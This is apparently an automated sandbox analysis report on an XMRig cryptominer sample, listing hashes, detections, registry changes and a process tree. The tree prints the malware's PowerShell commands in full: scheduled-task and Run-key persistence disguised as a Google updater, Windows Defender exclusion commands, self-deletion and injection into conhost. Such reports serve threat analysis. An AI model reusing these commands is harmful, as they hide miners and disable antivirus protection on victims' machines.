xmrig | 67fb42345c7c1d330bea4fe6e0d8695cc715af98dec4fbac9cac330831052642

max time kernel
1799s
max time network
1798s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
24-12-2023 12:01

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General

Target

qM5GMXBk6hJE6Y5e (17).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 8 IoCs

description	pid	Process	procid_target
PID 4880 created 3432	4880	qM5GMXBk6hJE6Y5e (17).exe	50
PID 4880 created 3432	4880	qM5GMXBk6hJE6Y5e (17).exe	50
PID 4880 created 3432	4880	qM5GMXBk6hJE6Y5e (17).exe	50
PID 1072 created 3432	1072	updater.exe	50
PID 1072 created 3432	1072	updater.exe	50
PID 1072 created 3432	1072	updater.exe	50
PID 1576 created 3432	1576	conhost.exe	50
PID 1072 created 3432	1072	updater.exe	50

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral6/memory/1916-128-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-132-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-134-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-136-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-140-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-142-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-144-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-146-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-148-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-150-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-152-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-154-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-156-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-158-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-160-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-162-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-164-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-166-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-168-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-170-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-172-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-174-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-176-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-178-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-180-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-182-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-184-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-186-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig
behavioral6/memory/1916-188-0x00007FF708860000-0x00007FF709054000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
1072	updater.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral6/memory/1916-124-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-128-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-132-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-134-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-136-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-140-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-142-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-144-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-146-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-148-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-150-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-152-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-154-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-156-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-158-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-160-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-162-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-164-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-166-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-168-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-170-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-172-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-174-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-176-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-178-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-180-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-182-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-184-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-186-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx
behavioral6/memory/1916-188-0x00007FF708860000-0x00007FF709054000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1072 set thread context of 1576	1072	updater.exe	119
PID 1072 set thread context of 1916	1072	updater.exe	120

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (17).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2996	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe

Suspicious behavior: EnumeratesProcesses 35 IoCs

pid	Process
4880	qM5GMXBk6hJE6Y5e (17).exe
4880	qM5GMXBk6hJE6Y5e (17).exe
4780	powershell.exe
4780	powershell.exe
4780	powershell.exe
4880	qM5GMXBk6hJE6Y5e (17).exe
4880	qM5GMXBk6hJE6Y5e (17).exe
3312	powershell.exe
3312	powershell.exe
3312	powershell.exe
4880	qM5GMXBk6hJE6Y5e (17).exe
4880	qM5GMXBk6hJE6Y5e (17).exe
4880	qM5GMXBk6hJE6Y5e (17).exe
4880	qM5GMXBk6hJE6Y5e (17).exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe
1072	updater.exe
1072	updater.exe
1132	powershell.exe
1132	powershell.exe
1132	powershell.exe
1072	updater.exe
1072	updater.exe
3200	powershell.exe
3200	powershell.exe
3200	powershell.exe
1072	updater.exe
1072	updater.exe
1072	updater.exe
1072	updater.exe
1576	conhost.exe
1576	conhost.exe
1072	updater.exe
1072	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4780	powershell.exe
Token: SeDebugPrivilege	3312	powershell.exe
Token: SeIncreaseQuotaPrivilege	3312	powershell.exe
Token: SeSecurityPrivilege	3312	powershell.exe
Token: SeTakeOwnershipPrivilege	3312	powershell.exe
Token: SeLoadDriverPrivilege	3312	powershell.exe
Token: SeSystemProfilePrivilege	3312	powershell.exe
Token: SeSystemtimePrivilege	3312	powershell.exe
Token: SeProfSingleProcessPrivilege	3312	powershell.exe
Token: SeIncBasePriorityPrivilege	3312	powershell.exe
Token: SeCreatePagefilePrivilege	3312	powershell.exe
Token: SeBackupPrivilege	3312	powershell.exe
Token: SeRestorePrivilege	3312	powershell.exe
Token: SeShutdownPrivilege	3312	powershell.exe
Token: SeDebugPrivilege	3312	powershell.exe
Token: SeSystemEnvironmentPrivilege	3312	powershell.exe
Token: SeRemoteShutdownPrivilege	3312	powershell.exe
Token: SeUndockPrivilege	3312	powershell.exe
Token: SeManageVolumePrivilege	3312	powershell.exe
Token: 33	3312	powershell.exe
Token: 34	3312	powershell.exe
Token: 35	3312	powershell.exe
Token: 36	3312	powershell.exe
Token: SeIncreaseQuotaPrivilege	3312	powershell.exe
Token: SeSecurityPrivilege	3312	powershell.exe
Token: SeTakeOwnershipPrivilege	3312	powershell.exe
Token: SeLoadDriverPrivilege	3312	powershell.exe
Token: SeSystemProfilePrivilege	3312	powershell.exe
Token: SeSystemtimePrivilege	3312	powershell.exe
Token: SeProfSingleProcessPrivilege	3312	powershell.exe
Token: SeIncBasePriorityPrivilege	3312	powershell.exe
Token: SeCreatePagefilePrivilege	3312	powershell.exe
Token: SeBackupPrivilege	3312	powershell.exe
Token: SeRestorePrivilege	3312	powershell.exe
Token: SeShutdownPrivilege	3312	powershell.exe
Token: SeDebugPrivilege	3312	powershell.exe
Token: SeSystemEnvironmentPrivilege	3312	powershell.exe
Token: SeRemoteShutdownPrivilege	3312	powershell.exe
Token: SeUndockPrivilege	3312	powershell.exe
Token: SeManageVolumePrivilege	3312	powershell.exe
Token: 33	3312	powershell.exe
Token: 34	3312	powershell.exe
Token: 35	3312	powershell.exe
Token: 36	3312	powershell.exe
Token: SeIncreaseQuotaPrivilege	3312	powershell.exe
Token: SeSecurityPrivilege	3312	powershell.exe
Token: SeTakeOwnershipPrivilege	3312	powershell.exe
Token: SeLoadDriverPrivilege	3312	powershell.exe
Token: SeSystemProfilePrivilege	3312	powershell.exe
Token: SeSystemtimePrivilege	3312	powershell.exe
Token: SeProfSingleProcessPrivilege	3312	powershell.exe
Token: SeIncBasePriorityPrivilege	3312	powershell.exe
Token: SeCreatePagefilePrivilege	3312	powershell.exe
Token: SeBackupPrivilege	3312	powershell.exe
Token: SeRestorePrivilege	3312	powershell.exe
Token: SeShutdownPrivilege	3312	powershell.exe
Token: SeDebugPrivilege	3312	powershell.exe
Token: SeSystemEnvironmentPrivilege	3312	powershell.exe
Token: SeRemoteShutdownPrivilege	3312	powershell.exe
Token: SeUndockPrivilege	3312	powershell.exe
Token: SeManageVolumePrivilege	3312	powershell.exe
Token: 33	3312	powershell.exe
Token: 34	3312	powershell.exe
Token: 35	3312	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4572 wrote to memory of 2256	4572	cmd.exe	103
PID 4572 wrote to memory of 2256	4572	cmd.exe	103
PID 4724 wrote to memory of 1516	4724	powershell.exe	104
PID 4724 wrote to memory of 1516	4724	powershell.exe	104
PID 1072 wrote to memory of 1576	1072	updater.exe	119
PID 1988 wrote to memory of 2996	1988	cmd.exe	116
PID 1988 wrote to memory of 2996	1988	cmd.exe	116
PID 1072 wrote to memory of 1916	1072	updater.exe	120

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (17).exe
"C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (17).exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:4880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3312

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4780
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (17).exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3200
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1988
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1576
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:1916

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2256

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:1516

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1072
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2416

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
PID:2996

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
205KB

MD5
062a1ab2fc598010f728f79866cc9da2

SHA1
43c0d862bd16ae075c243a23056f403aea083f0d

SHA256
1771a799dae9eb17d63aaae91220f8fc954478c2cba1f5f19fffbb0e5227fc4b

SHA512
15117eda6c7da55ff5da8b388983a72020ac84e8b112f22a0dc2721b4b958bfe81b5a75c87dbb70f8735a75bc2165667e2a31d7f70b4c53de70fb4c6357e4952

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
312KB

MD5
b5fdd6b75ebea22463245952f1f307b7

SHA1
39c62a07581fa86bb54b50f9a4e3fa00cf7bc616

SHA256
d0392015fcf869c73725eac8f8a24de6795560c900dea9dac8af3955f54c8a7d

SHA512
80de05b4e1663434b964bd25b9838722758b1327d49597ae67e77d24760099b89794b664a08d390ccec6acbd8ab75313bf1ea3b88e06072105e4bb7a238cd787

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
adcf7694324db40696dec9e7145c7d9a

SHA1
6a5a093f6fec740444de5c219fd6af57f087d436

SHA256
b7678468701b0c13267926de54a86f833541a6d0420e466d62d1fa948bbfe054

SHA512
b5ad97789767fe51c37b603b3ec7015008a69699115330404193ceebb3158d5ae674062699b9cb62fa5635a7e78330d952e4438176bd9612d50c424845fb6896

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
